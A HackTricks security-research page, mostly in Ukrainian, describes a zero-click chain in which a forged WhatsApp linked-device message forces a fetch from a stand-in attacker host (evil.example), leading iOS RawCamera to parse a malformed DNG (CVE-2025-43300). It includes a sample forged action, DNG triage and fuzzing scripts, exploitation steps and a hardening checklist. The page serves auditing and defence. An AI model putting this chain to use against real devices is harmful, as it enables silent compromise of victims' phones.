Zero-click Messaging → Image Parser Chains

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

TL;DR

  • Розглядайте messaging app multi-device/companion protocols як канали віддаленого керування: якщо поля протоколу вважаються такими, що походять від довірених пристроїв, вони все одно можуть бути керовані користувачем і їх часто можна replay безпосередньо проти жертви, щоб завантажити довільний контент з 0 user interaction.
  • Якщо будь-який додаток можна примусити завантажувати недовірений медіаконтент, цілиться у shared OS media pipeline (RawCamera on iOS/macOS, vendor parsers on Android OEM builds) за допомогою пошкоджених файлів, щоб вийти з sandbox.
  • Помилки парсерів DNG-based RawCamera та Samsung, обговорені тут, є конкретними прикладами, але вся техніка — це повторно використовуваний шаблон для ланцюжка logic flaws → image parser memory corruption → full device compromise.

Remote content loading via WhatsApp linked-device commands

Attack surface recap

Архітектура WhatsApp “linked devices” синхронізує основний телефон і кожен companion (desktop, tablet, secondary phone) через зашифровані, структуровані протокольні повідомлення. Кожне повідомлення кодує:

  • Device metadata (device ID, capabilities, feature flags).
  • Action descriptors (e.g., sync chats, fetch thumbnails, render remote content).
  • Arbitrary parameters such as URIs, MIME hints, pagination keys, etc.

На клієнтах Apple обробник, який обробляє ці linked-device контрольні пакети, implicitly trusted, що валідне сполучення (pairing) вже відбулося, тому поля з високим впливом (наприклад, resource_url, open_media, sync_snapshot) перевірялися лише мінімально. Зловмисне companion message могло тому:

  1. Бути спрямоване до будь-якого акаунта, ідентифікованого за його phone number.
  2. Пройти через транспортний стек (Noise protocol + WhatsApp protobuf framing), тому що отримувач ніколи не перевіряв, що відправник був легітимно paired device.
  3. Досягти iOS клієнта, де уразливий шлях виконання автоматично ініціював фоновий HTTP(S) запит до attacker URL і парсив відповідь у прихованому WebView/media renderer.

Practical workflow for auditors

  1. Capture legitimate linked-device traffic. Підключіть debugger або Frida script до desktop/iOS клієнта і підпишіться на post-decryption handler (e.g., LinkedDevicesSyncHandler::processAction). Dump декодовані protobuf payloads, щоб вивчити доступні типи дій і параметри.
  2. Identify fields that cross trust boundaries. Будь-яка дія з параметрами http_url, thumbnail_uri, download_url або render_html без суворих allow-lists є кандидатом на remote-content primitive.
  3. Forge a malicious action. Повторно використайте спостережувану protobuf схему і змініть лише поля, що контролюються атакуючим. Спрощений JSON-погляд відповідної логічної структури показано нижче (фактичний транспорт — protobuf/Noise, але семантичні поля збігаються):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
  1. Deliver to the victim. Replay the crafted packet through the same WhatsApp service that normally forwards linked-device traffic (e.g., using a modified desktop client or a custom Noise client reusing your attacker account keys). Because CVE-2025-55177 failed to tie actions to authenticated devices, the victim iOS/macOS client would accept the message and immediately fetch the attacker URL without any UI.
  2. Instrument the fetch. Observe the forced HTTP(S) request and the internal renderer (WKWebView/ImageIO). At this point you own a zero-click web delivery primitive inside WhatsApp.

Озброєння автоматично декодованих DNG проти RawCamera

Once the attacker controls what WhatsApp loads, the next goal is to make iOS/macOS parse a malicious Digital Negative (DNG) file with the RawCamera framework. Any embedded <img>/CSS URL that resolves to a .dng will be passed to the system image pipeline, invoking RawCamera even if WhatsApp itself never handled DNGs explicitly.

Запуск RawCamera з WhatsApp

  • Подавайте HTML, який посилається на DNG кількома механізмами (наприклад, <img src="evil.dng">, CSS background-image: url('evil.dng'), або джерела <picture>), щоб охопити різні шляхи рендерингу.
  • Забезпечте правильний MIME (image/x-adobe-dng) і невеликі прев’ю, щоб завантажувач не відмовився зарані через евристики розміру.
  • The iOS media sandbox will stream the file into RawCamera via CGImageSourceCreateWithURL, eventually hitting the vulnerable decoder.

Створення DNG, що корумпує пам’ять (у стилі CVE-2025-43300)

The 2025 in-the-wild bug was more specific than a generic malformed TIFF: the DNG carried JPEG-Lossless image data whose internal SOF3 component count disagreed with the TIFF/DNG metadata (SamplesPerPixel). In practice, RawCamera could size some buffers from the outer TIFF fields and later trust the embedded JPEG-Lossless stream while decoding, yielding the out-of-bounds write fixed in iOS 18.6.2 / iPadOS 18.6.2 on August 20, 2025.

That gives auditors a much tighter triage rule than “mutate random tags”:

exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY

Якщо SamplesPerPixel і кількість компонентів у SOF3 розходяться, ви дуже близькі до точної примітиви, обговореної публічно для CVE-2025-43300. Типові суміжні важелі, які все ще варто fuzzing після того, як у вас є шлях розбору, такі:

  • Описувачі тайлів/стріпів: Встановіть TileByteCounts/StripByteCounts на реалістичні значення, але збільшіть TileOffsets, щоб вказувати за межі виділеного буфера.
  • Ланцюжки Sub-IFD: Вбудуйте вторинні зображення з конфліктуючими ImageWidth/ImageLength та BitsPerSample, щоб RawCamera обчислював малий буфер, тоді як пізніші етапи покладалися на розміри, контрольовані атакуючим.
  • Метадані Opcode: Маніпулюйте записами OpcodeList3, щоб обробка по рядках працювала з індексами, обраними атакуючим.

A basic mutation harness to hunt for such corruptions can be built around macOS, since the same RawCamera code ships on macOS/iOS/iPadOS:

#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done

Кожен crash у RawCamera дає вам новий примітив. Опублікований PoC досяг акуратного out-of-bounds read/write, достатньо надійного, щоб викликати падіння WhatsApp на iPhone, iPad та Mac.

Building the 0-click chain

  1. Linked-device packet → примушує WhatsApp завантажити https://evil.example/payload.html без будь-яких натискань.
  2. Payload HTML → тихо посилається на evil.dng, що гарантує виклик RawCamera стеком медіа OS.
  3. Malicious DNG → зловживає сконструйованими тегами, щоб спровокувати RawCamera OOB і crash/own декодер зображень.
  4. Post-corruption exploitation → додають info-leak гаджети (наприклад, зловживання передбачуваною heap metadata) і ставлять ROP/JOP chain, щоб вийти з WhatsApp sandbox у більш привілейовані контексти.

Оскільки кожен крок автоматичний, нападникові потрібен лише номер телефону жертви. На цільовому пристрої не показуються ніякі сповіщення, банери або підказки.

Recent Apple parser-chain patterns worth reusing

Цей ланцюг WhatsApp → DNG → RawCamera відповідає тому ж шаблону дизайну, що спостерігався в недавніх Apple zero-click кампаніях: знайти alternate attachment wrapper, який досягає менш обмеженого парсера, а потім озброїти формат файлу, який OS охоче пре- переглядає.

  • BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab повідомили про зловмисні PassKit attachments, що містили зображення, і Apple виправила Wallet (CVE-2023-41061) плюс ImageIO (CVE-2023-41064). Подальший аналіз Project Zero показав, чому це важливо операційно: нападнику потрібен був не лише parser bug, а й контейнер, що переміщує парсинг зображень поза звичний BlastDoor шлях у інший процес. При аудиті messaging apps перераховуйте всі типи attachments, які викликають фонові превʼю у допоміжних демонах (.pkpass, contact cards, sticker bundles, inline HTML, QuickLook previews), а не лише очевидні image attachments.
  • TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Kaspersky показали, що зловмисний iMessage attachment вражав недокументовану Apple-only ADJUST TrueType інструкцію (CVE-2023-41990). Практичний висновок: fonts are image-parser cousins для zero-click атак — rich-text previews, font fallback і thumbnail generation можуть стати точками входу парсерів, навіть коли додаток стверджує, що підтримує лише “documents” або “stickers”.

Повторне питання для аудиту тому: які типи повідомлень викликають тихий парсинг у процесі, відмінному від очевидного chat renderer? Зазвичай звідти і починається ланцюг. Для прикладної тріажі та перевірок консистентності між полями, коли у вас є підозрілий файл, повторно використовуйте this generic structural file-format detection page.

Samsung vendor image parser parallels

Бюлетень Samsung для CVE-2025-21043 підтвердив, що їхній пропрієтарний стек парсингу зображень (використовується Gallery, Messages, і також опосередковано WhatsApp) постраждав від out-of-bounds write, досяжного через ненадійні медіа. Методологія експлуатації віддзеркалює Apple chain:

  • Визначте вектор auto-preview (chat thumbnails, notification previews, share sheets), який парсить файл нападника за допомогою libimagecodec/libOneUI_ImageDecoder.
  • Диференціюйте OEM library updates або fuzz парсери з пошкодженими RAW/DNG файлами, поки не побачите memory corruptions схожі на RawCamera crash (clobber heap metadata, контроль регістрів тощо).
  • Доставте сконструйований файл через будь-який канал, що вже auto-loads content (наприклад, той самий linked-device примітив, WhatsApp preview fetchers або Android’s push-to-talk waveform previews).

Якщо OOB write існує в vendor parser, поєднання його з WhatsApp auto-fetch примітивом дає ще один zero-click chain на Samsung-пристроях.

Testing & hardening checklist

  • Protocol validation: Запровадьте суворі allow-lists для кожної linked-device дії. Команди для компаньйона, що запитують fetch/render, повинні доводити спарування пристроїв (підпис payload) і URL має відповідати allow-list або підписаному блобу.
  • Transport replay countermeasures: Привʼяжіть кожну дію до per-device key і відхиляйте пакети, чий sender key невідомий, навіть якщо protobuf syntax коректний.
  • Media pipeline restrictions: High-level apps повинні дозволяти лише підтверджені MIME types і явно відхиляти RAW/DNG, якщо функція не потрібна.
  • Parser fuzzing regression tests: Тримайте корпус malformed RAW/DNG файлів і запускайте їх проти RawCamera/vendor decoders після кожного оновлення.
  • Crash triage automation: Прикріплюйте DYLD_INSERT_LIBRARIES sanitizers або MTE на fuzz пристроях, щоб виявляти тонкі OOB умови до того, як це зроблять нападники.

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks